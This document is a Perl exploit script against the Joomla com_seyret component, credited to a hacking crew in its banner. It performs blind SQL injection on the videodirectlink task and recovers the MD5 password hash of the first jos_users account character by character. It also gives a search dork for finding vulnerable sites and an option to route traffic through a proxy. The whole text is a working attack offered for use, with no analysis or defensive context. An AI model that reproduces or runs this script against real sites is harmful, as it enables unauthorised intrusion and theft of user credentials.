Joomla com_seyret Blind SQL Injection Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
system("Title Albanian Hacking Crew");
 print " \n";
 print " #######################################################################\n";
 print "  #   Joomla Component (com_seyret) Blind SQL Injection Exploit \n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Author: **RoAd_KiLlEr** \n";
 print "  #   Greetz: Ton![W]indowS,X-n3t,b4cKd00r ~,DarkHacker.,The|DennY`\n";
 print "  #   Site:   www.a-h-crew.net\n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Dork :   inurl:com_seyret              \n";
 print "  #   Usage:   perl exploit.pl host path <options> \n";
 print "  #   Example: perl exploit.pl www.host.com /path/ -a 3 \n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Options: \n";
 print "  #     -a   valid  id \n";
 print " #######################################################################\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
 $userid = $options{"u"};
}

if($options{"a"})
{
 $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
 my $f = 0;
 my $h = 48;
 while(!$f && $h <= 57)
 {
   if(istrue2($host, $path, $userid, $aid, $i, $h))
   {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$f)
 {
   $h = 97;
   while(!$f && $h <= 122)
   {
     if(istrue2($host, $path, $userid, $aid, $i, $h))
     {
       $f = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $uid   = shift;
 my $aid   = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $query = "http://".$host.$path."index.php? option=com_seyret&task=videodirectlink&id=".$aid." and ascii(SUBSTRING((SELECT password FROM  jos_users LIMIT 0,1),".$i.",1))=".$h."";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $resp = $ua->get($query);
 my $content = $resp->content;
 my $regexp = "Back";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }

}